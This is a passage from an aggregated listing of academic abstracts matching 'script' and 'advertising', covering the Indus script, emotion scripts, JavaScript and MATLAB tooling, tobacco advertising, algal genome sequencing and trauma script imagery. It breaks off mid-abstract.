    Although no historical information exists about the Indus civilization (flourished ca. 2600–1900 B.C.), archaeologists have uncovered about 3,800 short samples of a script that was used throughout the civilization. The script remains undeciphered, despite a large number of attempts and claimed decipherments over the past 80 years. Here, we propose the use of probabilistic models to analyze the structure of the Indus script. The goal is to reveal, through probabilistic analysis, syntactic patterns that could point the way to eventual decipherment. We illustrate the approach using a simple Markov chain model to capture sequential dependencies between signs in the Indus script. The trained model allows new sample texts to be generated, revealing recurring patterns of signs that could potentially form functional subunits of a possible underlying language. The model also provides a quantitative way of testing whether a particular string belongs to the putative language as captured by the Markov model. Application of this test to Indus seals found in Mesopotamia and other sites in West Asia reveals that the script may have been used to express different content in these regions. Finally, we show how missing, ambiguous, or unreadable signs on damaged objects can be filled in with most likely predictions from the model. Taken together, our results indicate that the Indus script exhibits rich synactic structure and the ability to represent diverse content. both of which are suggestive of a linguistic writing system rather than a nonlinguistic symbol system. PMID:19666571

  13. In Building a Script for an Emotion, Do Preschoolers Add Its Cause before Its Behavior Consequence?

    ERIC Educational Resources Information Center

    Widen, Sherri C.; Russell, James A.

    2011-01-01

    An emotion concept is a script in which an emotion event is an ordered sequence of subevents from situational cause through bodily changes to behavioral consequence. As children build a script for each emotion, in what order do they add each subevent? Preschoolers (N = 108, three to five years), were asked to name the protagonist's emotion in…

  14. Tactical Applications (TACAPPS) JavaScript Framework Investigation

    DTIC Science & Technology

    2017-02-01

    frameworks explored were Angular JavaScript (AngularJS), jQuery UI, Meteor, Ember, React JavaScript (ReactJS) and Web Components. The team evaluated the...10 Issues and Risks 11 Web Components 11 Benefits 13 Issues and Risks 13 Conclusions 14 Bibliography 15 Distribution List 19...3 Basic Flux flow 10 4 Shadow DOM tree hierarchy 12 5 Web Components browser support 13 UNCLASSIFIED Approved for

  15. [Radiology information system using HTML, JavaScript, and Web server].

    PubMed

    Sone, M; Sasaki, M; Oikawa, H; Yoshioka, K; Ehara, S; Tamakawa, Y

    1997-12-01

    We have developed a radiology information system using intranet techniques, including hypertext markup language, JavaScript, and Web server. JavaScript made it possible to develop an easy-to-use application, as well as to reduce network traffic and load on the server. The system we have developed is inexpensive and flexible, and its development and maintenance are much easier than with the previous system.

  16. Universal Plug-n-Play Sensor Integration for Advanced Navigation

    DTIC Science & Technology

    2012-03-22

    Orientation (top) and Angular Velocity (bottom) . . . . . . . . . 79 IV.6 Execution of AHRS script with roscore running on separate machine . . . . . . 80...single host case only with two hosts in this scenario. The script is running 78 Figure IV.5: Plot of AHRS Orientation (top) and Angular Velocity (bottom...Component-Based System using ROS . . . . . . . . . 59 3.6 Autonomous Behavior Using Scripting . . . . . . . . . . . . . . . . . . . . 60 3.6.1 udev

  17. Reforming Chinese Characters in the PRC and Japan: New Directions in the Twenty-First Century

    ERIC Educational Resources Information Center

    Premaratne, Dilhara D.

    2012-01-01

    This article provides a comparative evaluation of Chinese character reform in the People's Republic of China and Japan, with a particular focus on the latest changes announced in 2009 to the existing script policies in the two countries. The first Chinese script reform took place in 1956 and the first Japanese script reform in 1946, both for the…

  18. Development of MATLAB Scripts for the Calculation of Thermal Manikin Regional Resistance Values

    DTIC Science & Technology

    2016-01-01

    CALCULATION OF THERMAL MANIKIN REGIONAL RESISTANCE VALUES DISCLAIMER The opinions or assertions contained herein are the private views of the...USARIEM TECHNICAL NOTE TN16-1 DEVELOPMENT OF MATLAB® SCRIPTS FOR THE CALCULATION OF THERMAL MANIKIN REGIONAL RESISTANCE VALUES...performed by thermal manikin and modeling personnel. Steps to operate the scripts as well as the underlying calculations are outlined in detail

  19. The Application of CSCL Scripts to Support Teaching and Learning for Children with Intellectual Disabilities.

    PubMed

    Boyle, Bryan; Arnedillo-Sánchez, Inmaculada

    2017-01-01

    This paper describes the application of collaboration scripts to guide social interaction behaviours of children with intellectual disabilities. The use of such scripts demonstrate potential as a means of creating CSCL environments that can be used to provide children with communication and social interaction impairments with a platform for learning and practicing such skills in a meaningful social context.

  20. High-throughput sequencing of the chloroplast and mitochondrion of Chlamydomonas reinhardtii to generate improved de novo assemblies, analyze expression patterns and transcript speciation, and evaluate diversity among laboratory strains and wild isolates

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Gallaher, Sean D.; Fitz-Gibbon, Sorel T.; Strenkert, Daniela

    Chlamydomonas reinhardtii is a unicellular chlorophyte alga that is widely studied as a reference organism for understanding photosynthesis, sensory and motile cilia, and for development of an algal-based platform for producing biofuels and bio-products. Its highly repetitive, ~205-kbp circular chloroplast genome and ~15.8-kbp linear mitochondrial genome were sequenced prior to the advent of high-throughput sequencing technologies. Here, high coverage shotgun sequencing was used to assemble both organellar genomes de novo. These new genomes correct dozens of errors in the prior genome sequences and annotations. Gen-ome sequencing coverage indicates that each cell contains on average 83 copies of the chloroplast genomemore » and 130 copies of the mitochondrial genome. Using protocols and analyses optimized for organellar tran-scripts, RNA-Seq was used to quantify their relative abundances across 12 different growth conditions. Forty-six percent of total cellular mRNA is attributable to high expression from a few dozen chloroplast genes. RNA-Seq data were used to guide gene annotation, to demonstrate polycistronic gene expression, and to quantify splicing of psaA and psbA introns. In contrast to a conclusion from a recent study, we found that chloroplast transcripts are not edited. Unexpectedly, cytosine-rich polynucleotide tails were observed at the 3’-end of all mitochondrial transcripts. A comparative genomics analysis of eight laboratory strains and 11 wild isolates of C. reinhardtii identified 2658 variants in the organellargenomes, which is 1/10th as much genetic diversity as is found in the nucleus.« less

  1. The Joy of Advertising: Everything You Always Wanted to Know About Starting an Advertising Program for Your Alumni Periodical.

    ERIC Educational Resources Information Center

    Bailey, Anne Lowrey

    1983-01-01

    Alumni periodical editors who successfully carry advertising were surveyed. Advertising, it is suggested, can pay for itself and defray part of production and distribution costs. The range of advertisers includes national, local, and in-house advertising, classified, business and professional advertising, and career placement advertising. (MLW)

  2. On the deep structure of the blowing-up of curve singularities

    NASA Astrophysics Data System (ADS)

    Elias, Juan

    2001-09-01

    Let C be a germ of curve singularity embedded in (kn, 0). It is well known that the blowing-up of C centred on its closed ring, Bl(C), is a finite union of curve singularities. If C is reduced we can iterate this process and, after a finite number of steps, we find only non-singular curves. This is the desingularization process. The main idea of this paper is to linearize the blowing-up of curve singularities Bl(C) [rightward arrow] C. We perform this by studying the structure of [script O]Bl(C)/[script O]C as W-module, where W is a discrete valuation ring contained in [script O]C. Since [script O]Bl(C)/[script O]C is a torsion W-module, its structure is determined by the invariant factors of [script O]C in [script O]Bl(C). The set of invariant factors is called in this paper as the set of micro-invariants of C (see Definition 1·2).In the first section we relate the micro-invariants of C to the Hilbert function of C (Proposition 1·3), and we show how to compute them from the Hilbert function of some quotient of [script O]C (see Proposition 1·4).The main result of this paper is Theorem 3·3 where we give upper bounds of the micro-invariants in terms of the regularity, multiplicity and embedding dimension. As a corollary we improve and we recover some results of [6]. These bounds can be established as a consequence of the study of the Hilbert function of a filtration of ideals g = {g[r,i+1]}i [gt-or-equal, slanted] 0 of the tangent cone of [script O]C (see Section 2). The main property of g is that the ideals g[r,i+1] have initial degree bigger than the Castelnuovo-Mumford regularity of the tangent cone of [script O]C.Section 4 is devoted to computation the micro-invariants of branches; we show how to compute them from the semigroup of values of C and Bl(C) (Proposition 4·3). The case of monomial curve singularities is especially studied; we end Section 4 with some explicit computations.In the last section we study some geometric properties of C that can be deduced from special values of the micro-invariants, and we specially study the relationship of the micro-invariants with the Hilbert function of [script O]Bl(C). We end the paper studying the natural equisingularity criteria that can be defined from the micro-invariants and its relationship with some of the known equisingularity criteria.

  3. [The advertising message of drugs advertisements in Spanish medical journals].

    PubMed

    Riera, Eusebi J Castaño; de la Fuente, David Oterino; Rodrígueza, Rosa M Rodríguez

    2007-01-01

    To describe the characteristics of advertising in Spanish medical journals and to analyze the advertising message in drug advertisements. Six issues of 4 Spanish medical journals published in 2001 were reviewed to identify the number of advertisements and their characteristics. The journals selected were Atención Primaria, Anales Españoles de Pediatría, Medicina Clínica and Gaceta Sanitaria. The advertising message was analyzed by evaluating 5 factors: communication aim, sales argument, communication treatment, and use of text and image. 609 advertisements were found. Drug advertisements were the most numerous (69.9%). Advertising pressure was highest in Atención Primaria (36%), followed by Anales Españoles de Pediatría (22%), Medicina Clínica (12%) and Gaceta Sanitaria (4%). Of the 195 drug advertisements analyzed, the aim of the advertising message was mostly to present or remind readers of an existing product (70.8%). The sales argument was rational in 86.5%. The communication treatment was advertising in 72.6%. The text of the advertisement contained a headline in 82.4% or a slogan in 50.8%. The advertisement image was a photograph in 74.7% and the aim of the image was to present the product (48.7%), to promise a benefit (45.1%), or to argue its qualities (31.1%). In the journals aimed at prescribing physicians advertising pressure was higher and advertisements were intercalated in article text. Advertising concerned already existing products, used rational arguments, and the communication treatment was advertising.

  4. Neighborhood-based tobacco advertising targeting adolescents.

    PubMed Central

    Ammerman, S D; Nolden, M

    1995-01-01

    Adolescent tobacco use remains a serious problem, and adolescents may be particularly receptive to the glamorous images tobacco companies use in advertisements. A relatively new form of neighborhood-based outdoor advertising, the illuminated bus-stop-shelter billboard, was studied to determine tobacco companies' use of this medium. We hypothesized that in 2 distinct San Francisco, California, neighborhoods, 1 predominantly white and the other mostly Latino, we would find a predominance of tobacco advertising on these billboards in both neighborhoods, that tobacco advertisements would be more prevalent in the minority Latino neighborhood, and that tobacco advertising would target adolescents in both neighborhoods. Each bus-stop-shelter billboard advertisement in the study areas from April 1992 to March 1993 was recorded. The type and frequency of products advertised and qualitative content of tobacco advertisements were analyzed. Adolescents' possible exposure to these advertisements was noted. Our main outcome measures were the percentage of tobacco advertising, possible adolescent exposure to this advertising, and themes of the tobacco advertisements. About 10% of all bus-stop-shelter billboard advertisements in each area promoted tobacco use. Possible exposures to these advertisements were greater in the Latino neighborhood because of a greater adolescent population. Qualitative analyses of tobacco advertisements suggested that adolescents are the primary targets. We urge physicians and educators to explicitly address this form of tobacco advertising, and we urge a ban on neighborhood-based tobacco advertising. PMID:7618311

  5. Neighborhood-based tobacco advertising targeting adolescents.

    PubMed

    Ammerman, S D; Nolden, M

    1995-06-01

    Adolescent tobacco use remains a serious problem, and adolescents may be particularly receptive to the glamorous images tobacco companies use in advertisements. A relatively new form of neighborhood-based outdoor advertising, the illuminated bus-stop-shelter billboard, was studied to determine tobacco companies' use of this medium. We hypothesized that in 2 distinct San Francisco, California, neighborhoods, 1 predominantly white and the other mostly Latino, we would find a predominance of tobacco advertising on these billboards in both neighborhoods, that tobacco advertisements would be more prevalent in the minority Latino neighborhood, and that tobacco advertising would target adolescents in both neighborhoods. Each bus-stop-shelter billboard advertisement in the study areas from April 1992 to March 1993 was recorded. The type and frequency of products advertised and qualitative content of tobacco advertisements were analyzed. Adolescents' possible exposure to these advertisements was noted. Our main outcome measures were the percentage of tobacco advertising, possible adolescent exposure to this advertising, and themes of the tobacco advertisements. About 10% of all bus-stop-shelter billboard advertisements in each area promoted tobacco use. Possible exposures to these advertisements were greater in the Latino neighborhood because of a greater adolescent population. Qualitative analyses of tobacco advertisements suggested that adolescents are the primary targets. We urge physicians and educators to explicitly address this form of tobacco advertising, and we urge a ban on neighborhood-based tobacco advertising.

  6. Charming Users into Scripting CIAO with Python

    NASA Astrophysics Data System (ADS)

    Burke, D. J.

    2011-07-01

    The Science Data Systems group of the Chandra X-ray Center provides a number of scripts and Python modules that extend the capabilities of CIAO. Experience in converting the existing scripts—written in a variety of languages such as bash, csh/tcsh, Perl and S-Lang—to Python, and conversations with users, led to the development of the ciao_contrib.runtool module. This allows users to easily run CIAO tools from Python scripts, and utilizes the metadata provided by the parameter-file system to create an API that provides the flexibility and safety guarantees of the command-line. The module is provided to the user community and is being used within our group to create new scripts.

  7. Development of visual expertise for reading: rapid emergence of visual familiarity for an artificial script

    PubMed Central

    Maurer, Urs; Blau, Vera C.; Yoncheva, Yuliya N.; McCandliss, Bruce D.

    2010-01-01

    Adults produce left-lateralized N170 responses to visual words relative to control stimuli, even within tasks that do not require active reading. This specialization begins in preschoolers as a right-lateralized N170 effect. We investigated whether this developmental shift reflects an early learning phenomenon, such as attaining visual familiarity with a script, by training adults in an artificial script and measuring N170 responses before and afterward. Training enhanced the N170 response, especially over the right hemisphere. This suggests N170 sensitivity to visual familiarity with a script before reading becomes sufficiently automatic to drive left-lateralized effects in a shallow encoding task. PMID:20614357

  8. Remembering others: using life scripts to access positive but not negative information.

    PubMed

    White, Hedy; Coppola, Harmony A; Multunas, Nichole K

    2008-01-01

    The current research extended to memories of others the life script theory of abstract, idealized mental representations of transitional experiences. Recent and earlier high school graduates rated positive and negative characteristics of popular, average, and unpopular girls from their schools. "Average" girls were rated as higher than average on possessing positive characteristics. Recent but not earlier graduates distinguished between popularity conditions on negative characteristics (negative information is not included in life scripts). For positive characteristics, earlier graduates remembered unpopular girls less favorably (perhaps using stereotypical scripts) than recent graduates remembered them (having greater access to episodic memories of individual girls). A smaller graduation time difference in the same direction resulted for average and popular girls.

  9. Design of 3D simulation engine for oilfield safety training

    NASA Astrophysics Data System (ADS)

    Li, Hua-Ming; Kang, Bao-Sheng

    2015-03-01

    Aiming at the demand for rapid custom development of 3D simulation system for oilfield safety training, this paper designs and implements a 3D simulation engine based on script-driven method, multi-layer structure, pre-defined entity objects and high-level tools such as scene editor, script editor, program loader. A scripting language been defined to control the system's progress, events and operating results. Training teacher can use this engine to edit 3D virtual scenes, set the properties of entity objects, define the logic script of task, and produce a 3D simulation training system without any skills of programming. Through expanding entity class, this engine can be quickly applied to other virtual training areas.

  10. The effect of search condition and advertising type on visual attention to Internet advertising.

    PubMed

    Kim, Gho; Lee, Jang-Han

    2011-05-01

    This research was conducted to examine the level of consumers' visual attention to Internet advertising. It was predicted that consumers' search type would influence visual attention to advertising. Specifically, it was predicted that more attention to advertising would be attracted in the exploratory search condition than in the goal-directed search condition. It was also predicted that there would be a difference in visual attention depending on the advertisement type (advertising type: text vs. pictorial advertising). An eye tracker was used for measurement. Results revealed that search condition and advertising type influenced advertising effectiveness.

  11. Going off script: Effects of awe on memory for script-typical and -irrelevant narrative detail.

    PubMed

    Danvers, Alexander F; Shiota, Michelle N

    2017-09-01

    People often filter their experience of new events through knowledge they already have; for example, encoding new events by relying on prototypical event "scripts" at the expense of actual details. Previous research suggests that positive affect often increases this tendency. Three studies assessed whether awe-an emotion elicited by perceived vastness, and thought to promote cognitive accommodation-has the opposite effect, reducing rather than increasing reliance on event scripts. True/false questions on details of a short story about a romantic dinner were used to determine whether awe (a) reduces the tendency to impute script-consistent but false details into memory, and/or (b) promotes memory of unexpected details. Across studies we consistently found support for the first effect; evidence for the second was less consistent. Effects were partially mediated by subjective awe, and independent of other aspects of subjective affect. Results suggest that awe reduces reliance on internal knowledge in processing new events. (PsycINFO Database Record (c) 2017 APA, all rights reserved).

  12. Gender as a moderator of the relation between PTSD and disgust: a laboratory test employing individualized script-driven imagery.

    PubMed

    Olatunji, Bunmi O; Babson, Kimberly A; Smith, Rose C; Feldner, Matthew T; Connolly, Kevin M

    2009-12-01

    The present study examines anxiety and disgust responding during exposure to trauma cues as a function of gender and posttraumatic stress disorder (PTSD). Trauma exposed adults without PTSD were compared to adults with PTSD during a script-driven imagery procedure that exposed each participant to individualized traumatic event cues. Anxiety responding during exposure to an individualized traumatic event script was not associated with gender, PTSD, or interaction of gender and PTSD in the present study. However, gender did moderate the relation between disgust responding and PTSD, such that females with PTSD reported more disgust during the script in comparison to females without PTSD and males with and without PTSD. Heart rate during the individualized trauma script was significantly higher among males with PTSD compared to males without PTSD and females with PTSD. Implications of these findings for conceptualizing how gender differences in emotional and physiological responding contribute to development and course of PTSD are discussed.

  13. Sticking to the (romantic) script: an examination of love life scripts, stories, and self-reports of normality.

    PubMed

    Dunlop, William L; Hanley, Grace E; McCoy, Tara P; Harake, Nicole

    2017-11-01

    Life scripts represent cultural expectations regarding the events in the prototypical life whereas life stories represent narrative constructions of the events occurring in individuals' own lives. In Study 1, we generated an outline of the love life script and a list of the self-definitional events individuals tend to associate with their own love lives. Participants were prompted to produce and rate seven important events in the prototypical love life and several significant moments from their own love lives. Building upon these descriptive efforts, in Study 2, we developed self-report measures of perceived and desired love life normality. These characteristics positively predicted the conventionality of autobiographical narratives drawn from participants' love life stories. Furthermore, perceived normality and desired normality were positively and negatively related to functioning within the romantic domain, respectively. These results underscore the role love life scripts and love life stories play in functioning within the romantic domain.

  14. MC carbide structures in M(lc2)ar-M247. M.S. Thesis - Final Report

    NASA Technical Reports Server (NTRS)

    Wawro, S. W.

    1982-01-01

    The morphologies and distribution of the MC carbides in Mar-M247 ingot stock and castings were investigated using metallographic, X-ray diffraction and energy-dispersive X-ray analysis techniques. The MC carbides were found to form script structures during solidification. The script structures were composed of three distinct parts. The central cores and elongated arms of the MC carbide script structures had compositions (Ti, Cr, Hf, Ta, W)C and lattice parameters of 4.39 A. The elongated script arms terminated in enlarged, angular "heads". The heads had compositions (Ti, Hf, Ta, W)C and lattice parameters of approximately 4.50 A. The heads had a higher Hf content than the cores and arms. The size of the script structures, as well as the relative amount of head-type to core and arm-type MC carbide, was found to be determined by solidification conditions. No carryover of the MC carbides from the ingot stock to the remelted and cast material was observed.

  15. OpenSeesPy: Python library for the OpenSees finite element framework

    NASA Astrophysics Data System (ADS)

    Zhu, Minjie; McKenna, Frank; Scott, Michael H.

    2018-01-01

    OpenSees, an open source finite element software framework, has been used broadly in the earthquake engineering community for simulating the seismic response of structural and geotechnical systems. The framework allows users to perform finite element analysis with a scripting language and for developers to create both serial and parallel finite element computer applications as interpreters. For the last 15 years, Tcl has been the primary scripting language to which the model building and analysis modules of OpenSees are linked. To provide users with different scripting language options, particularly Python, the OpenSees interpreter interface was refactored to provide multi-interpreter capabilities. This refactoring, resulting in the creation of OpenSeesPy as a Python module, is accomplished through an abstract interface for interpreter calls with concrete implementations for different scripting languages. Through this approach, users are able to develop applications that utilize the unique features of several scripting languages while taking advantage of advanced finite element analysis models and algorithms.

  16. A Cultural Evolution Approach to Digital Media

    PubMed Central

    Acerbi, Alberto

    2016-01-01

    Digital media have today an enormous diffusion, and their influence on the behavior of a vast part of the human population can hardly be underestimated. In this review I propose that cultural evolution theory, including both a sophisticated view of human behavior and a methodological attitude to modeling and quantitative analysis, provides a useful framework to study the effects and the developments of media in the digital age. I will first give a general presentation of the cultural evolution framework, and I will then introduce this more specific research program with two illustrative topics. The first topic concerns how cultural transmission biases, that is, simple heuristics such as “copy prestigious individuals” or “copy the majority,” operate in the novel context of digital media. The existence of transmission biases is generally justified with their adaptivity in small-scale societies. How do they operate in an environment where, for example, prestigious individuals possess not-relevant skills, or popularity is explicitly quantified and advertised? The second aspect relates to fidelity of cultural transmission. Digitally-mediated interactions support cheap and immediate high-fidelity transmission, in opposition, for example, to oral traditions. How does this change the content that is more likely to spread? Overall, I suggest the usefulness of a “long view” to our contemporary digital environment, contextualized in cognitive science and cultural evolution theory, and I discuss how this perspective could help us to understand what is genuinely new and what is not. PMID:28018200

  17. Simulation for Dynamic Situation Awareness and Prediction III

    DTIC Science & Technology

    2010-03-01

    source Java ™ library for capturing and sending network packets; 4) Groovy – an open source, Java -based scripting language (version 1.6 or newer). Open...DMOTH Analyzer application. Groovy is an open source dynamic scripting language for the Java Virtual Machine. It is consistent with Java syntax...between temperature, pressure, wind and relative humidity, and 3) a precipitation editing algorithm. The Editor can be used to prepare scripted changes

  18. Image

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Marsh, Amber; Harsch, Tim; Pitt, Julie

    2007-08-31

    The computer side of the IMAGE project consists of a collection of Perl scripts that perform a variety of tasks; scripts are available to insert, update and delete data from the underlying Oracle database, download data from NCBI's Genbank and other sources, and generate data files for download by interested parties. Web scripts make up the tracking interface, and various tools available on the project web-site (image.llnl.gov) that provide a search interface to the database.

  19. Designing and developing portable large-scale JavaScript web applications within the Experiment Dashboard framework

    NASA Astrophysics Data System (ADS)

    Andreeva, J.; Dzhunov, I.; Karavakis, E.; Kokoszkiewicz, L.; Nowotka, M.; Saiz, P.; Tuckett, D.

    2012-12-01

    Improvements in web browser performance and web standards compliance, as well as the availability of comprehensive JavaScript libraries, provides an opportunity to develop functionally rich yet intuitive web applications that allow users to access, render and analyse data in novel ways. However, the development of such large-scale JavaScript web applications presents new challenges, in particular with regard to code sustainability and team-based work. We present an approach that meets the challenges of large-scale JavaScript web application design and development, including client-side model-view-controller architecture, design patterns, and JavaScript libraries. Furthermore, we show how the approach leads naturally to the encapsulation of the data source as a web API, allowing applications to be easily ported to new data sources. The Experiment Dashboard framework is used for the development of applications for monitoring the distributed computing activities of virtual organisations on the Worldwide LHC Computing Grid. We demonstrate the benefits of the approach for large-scale JavaScript web applications in this context by examining the design of several Experiment Dashboard applications for data processing, data transfer and site status monitoring, and by showing how they have been ported for different virtual organisations and technologies.

  20. Derivation of an optimal directivity pattern for sweet spot widening in stereo sound reproduction

    NASA Astrophysics Data System (ADS)

    Ródenas, Josep A.; Aarts, Ronald M.; Janssen, A. J. E. M.

    2003-01-01

    In this paper the correction of the degradation of the stereophonic illusion during sound reproduction due to off-center listening is investigated. The main idea is that the directivity pattern of a loudspeaker array should have a well-defined shape such that a good stereo reproduction is achieved in a large listening area. Therefore, a mathematical description to derive an optimal directivity pattern opt that achieves sweet spot widening in a large listening area for stereophonic sound applications is described. This optimal directivity pattern is based on parametrized time/intensity trading data coming from psycho-acoustic experiments within a wide listening area. After the study, the required digital FIR filters are determined by means of a least-squares optimization method for a given stereo base setup (two pair of drivers for the loudspeaker arrays and 2.5-m distance between loudspeakers), which radiate sound in a broad range of listening positions in accordance with the derived opt. Informal listening tests have shown that the opt worked as predicted by the theoretical simulations. They also demonstrated the correct central sound localization for speech and music for a number of listening positions. This application is referred to as ``Position-Independent (PI) stereo.''

  1. Line Segmentation in Handwritten Assamese and Meetei Mayek Script Using Seam Carving Based Algorithm

    NASA Astrophysics Data System (ADS)

    Kumar, Chandan Jyoti; Kalita, Sanjib Kr.

    Line segmentation is a key stage in an Optical Character Recognition system. This paper primarily concerns the problem of text line extraction on color and grayscale manuscript pages of two major North-east Indian regional Scripts, Assamese and Meetei Mayek. Line segmentation of handwritten text in Assamese and Meetei Mayek scripts is an uphill task primarily because of the structural features of both the scripts and varied writing styles. Line segmentation of a document image is been achieved by using the Seam carving technique, in this paper. Researchers from various regions used this approach for content aware resizing of an image. However currently many researchers are implementing Seam Carving for line segmentation phase of OCR. Although it is a language independent technique, mostly experiments are done over Arabic, Greek, German and Chinese scripts. Two types of seams are generated, medial seams approximate the orientation of each text line, and separating seams separated one line of text from another. Experiments are performed extensively over various types of documents and detailed analysis of the evaluations reflects that the algorithm performs well for even documents with multiple scripts. In this paper, we present a comparative study of accuracy of this method over different types of data.

  2. Renormalization group flows and continual Lie algebras

    NASA Astrophysics Data System (ADS)

    Bakas, Ioannis

    2003-08-01

    We study the renormalization group flows of two-dimensional metrics in sigma models using the one-loop beta functions, and demonstrate that they provide a continual analogue of the Toda field equations in conformally flat coordinates. In this algebraic setting, the logarithm of the world-sheet length scale, t, is interpreted as Dynkin parameter on the root system of a novel continual Lie algebra, denoted by Script G(d/dt;1), with anti-symmetric Cartan kernel K(t,t') = delta'(t-t'); as such, it coincides with the Cartan matrix of the superalgebra sl(N|N+1) in the large-N limit. The resulting Toda field equation is a non-linear generalization of the heat equation, which is integrable in target space and shares the same dissipative properties in time, t. We provide the general solution of the renormalization group flows in terms of free fields, via Bäcklund transformations, and present some simple examples that illustrate the validity of their formal power series expansion in terms of algebraic data. We study in detail the sausage model that arises as geometric deformation of the O(3) sigma model, and give a new interpretation to its ultra-violet limit by gluing together two copies of Witten's two-dimensional black hole in the asymptotic region. We also provide some new solutions that describe the renormalization group flow of negatively curved spaces in different patches, which look like a cane in the infra-red region. Finally, we revisit the transition of a flat cone C/Zn to the plane, as another special solution, and note that tachyon condensation in closed string theory exhibits a hidden relation to the infinite dimensional algebra Script G(d/dt;1) in the regime of gravity. Its exponential growth holds the key for the construction of conserved currents and their systematic interpretation in string theory, but they still remain unknown.

  3. SCDU Testbed Automated In-Situ Alignment, Data Acquisition and Analysis

    NASA Technical Reports Server (NTRS)

    Werne, Thomas A.; Wehmeier, Udo J.; Wu, Janet P.; An, Xin; Goullioud, Renaud; Nemati, Bijan; Shao, Michael; Shen, Tsae-Pyng J.; Wang, Xu; Weilert, Mark A.; hide

    2010-01-01

    In the course of fulfilling its mandate, the Spectral Calibration Development Unit (SCDU) testbed for SIM-Lite produces copious amounts of raw data. To effectively spend time attempting to understand the science driving the data, the team devised computerized automations to limit the time spent bringing the testbed to a healthy state and commanding it, and instead focus on analyzing the processed results. We developed a multi-layered scripting language that emphasized the scientific experiments we conducted, which drastically shortened our experiment scripts, improved their readability, and all-but-eliminated testbed operator errors. In addition to scientific experiment functions, we also developed a set of automated alignments that bring the testbed up to a well-aligned state with little more than the push of a button. These scripts were written in the scripting language, and in Matlab via an interface library, allowing all members of the team to augment the existing scripting language with complex analysis scripts. To keep track of these results, we created an easily-parseable state log in which we logged both the state of the testbed and relevant metadata. Finally, we designed a distributed processing system that allowed us to farm lengthy analyses to a collection of client computers which reported their results in a central log. Since these logs were parseable, we wrote query scripts that gave us an effortless way to compare results collected under different conditions. This paper serves as a case-study, detailing the motivating requirements for the decisions we made and explaining the implementation process.

  4. Intranasal Oxytocin Affects Amygdala Functional Connectivity after Trauma Script-Driven Imagery in Distressed Recently Trauma-Exposed Individuals.

    PubMed

    Frijling, Jessie L; van Zuiden, Mirjam; Koch, Saskia B J; Nawijn, Laura; Veltman, Dick J; Olff, Miranda

    2016-04-01

    Approximately 10% of trauma-exposed individuals go on to develop post-traumatic stress disorder (PTSD). Neural emotion regulation may be etiologically involved in PTSD development. Oxytocin administration early post-trauma may be a promising avenue for PTSD prevention, as intranasal oxytocin has previously been found to affect emotion regulation networks in healthy individuals and psychiatric patients. In a randomized double-blind placebo-controlled between-subjects functional magnetic resonance (fMRI) study, we assessed the effects of a single intranasal oxytocin administration (40 IU) on seed-based amygdala resting-state FC with emotion regulation areas (ventromedial prefrontal cortex (vmPFC), ventrolateral prefrontal cortex (vlPFC)), and salience processing areas (insula, dorsal anterior cingulate cortex (dACC)) in 37 individuals within 11 days post trauma. Two resting-state scans were acquired; one after neutral- and one after trauma-script-driven imagery. We found that oxytocin administration reduced amygdala-left vlPFC FC after trauma script-driven imagery, compared with neutral script-driven imagery, whereas in PL-treated participants enhanced amygdala-left vlPFC FC was observed following trauma script-driven imagery. Irrespective of script condition, oxytocin increased amygdala-insula FC and decreased amygdala-vmPFC FC. These neural effects were accompanied by lower levels of sleepiness and higher flashback intensity in the oxytocin group after the trauma script. Together, our findings show that oxytocin administration may impede emotion regulation network functioning in response to trauma reminders in recently trauma-exposed individuals. Therefore, caution may be warranted in administering oxytocin to prevent PTSD in distressed, recently trauma-exposed individuals.

  5. Streamlined sign-out of capillary protein electrophoresis using middleware and an open-source macro application.

    PubMed

    Mathur, Gagan; Haugen, Thomas H; Davis, Scott L; Krasowski, Matthew D

    2014-01-01

    Interfacing of clinical laboratory instruments with the laboratory information system (LIS) via "middleware" software is increasingly common. Our clinical laboratory implemented capillary electrophoresis using a Sebia(®) Capillarys-2™ (Norcross, GA, USA) instrument for serum and urine protein electrophoresis. Using Data Innovations Instrument Manager, an interface was established with the LIS (Cerner) that allowed for bi-directional transmission of numeric data. However, the text of the interpretive pathology report was not properly transferred. To reduce manual effort and possibility for error in text data transfer, we developed scripts in AutoHotkey, a free, open-source macro-creation and automation software utility. Scripts were written to create macros that automated mouse and key strokes. The scripts retrieve the specimen accession number, capture user input text, and insert the text interpretation in the correct patient record in the desired format. The scripts accurately and precisely transfer narrative interpretation into the LIS. Combined with bar-code reading by the electrophoresis instrument, the scripts transfer data efficiently to the correct patient record. In addition, the AutoHotKey script automated repetitive key strokes required for manual entry into the LIS, making protein electrophoresis sign-out easier to learn and faster to use by the pathology residents. Scripts allow for either preliminary verification by residents or final sign-out by the attending pathologist. Using the open-source AutoHotKey software, we successfully improved the transfer of text data between capillary electrophoresis software and the LIS. The use of open-source software tools should not be overlooked as tools to improve interfacing of laboratory instruments.

  6. Strengthening Children's Advertising Defenses: The Effects of Forewarning of Commercial and Manipulative Intent.

    PubMed

    Rozendaal, Esther; Buijs, Laura; van Reijmersdal, Eva A

    2016-01-01

    This study investigated whether a forewarning of advertising's intent can increase children's (N = 159, 8-10 years old) defenses against television commercials to lower their desire for advertised products. Two different forewarnings were tested, one for advertising's commercial intent or warning for the promotional nature, and one for advertising's manipulative intent or warning for the deceptive nature. Results showed that only the warning of manipulative intent prior to advertising exposure was successful in increasing children's advertising defenses. This forewarning activated children's attitudinal advertising literacy (i.e., skepticism toward the commercial), which in turn led to lower advertised product desire. The forewarning of commercial intent was not effective in strengthening children's advertising defenses. These findings have important implications for interventions that aim to lower children's desire for (unhealthy) advertised products by activating their advertising literacy.

  7. Processing Information about Support Exchanges in Close Relationships: The Role of a Knowledge Structure.

    PubMed

    Turan, Bulent

    2016-01-01

    People develop knowledge of interpersonal interaction patterns (e.g., prototypes and schemas), which shape how they process incoming information. One such knowledge structure based on attachment theory was examined: the secure base script (the prototypic sequence of events when an attachment figure comforts a close relationship partner in distress). In two studies (N = 53 and N = 119), participants were shown animated film clips in which geometric figures depicted the secure base script and asked to describe the animations. Both studies found that many people readily recognize the secure-base script from these minimal cues quite well, suggesting that this script is not only available in the context of specific relationships (i.e., a relationship-specific knowledge): The generalized (abstract) structure of the script is also readily accessible, which would make it possible to apply it to any relationship (including new relationships). Regression analyses suggested that participants who recognized the script were more likely to (a) include more animation elements when describing the animations, (b) see a common theme in different animations, (c) create better organized stories, and (d) later recall more details of the animations. These findings suggest that access to this knowledge structure helps a person organize and remember relevant incoming information. Furthermore, in both Study 1 and Study 2, individual differences in the ready recognition of the script were associated with individual differences in having access to another related knowledge: indicators suggesting that a potential relationship partner 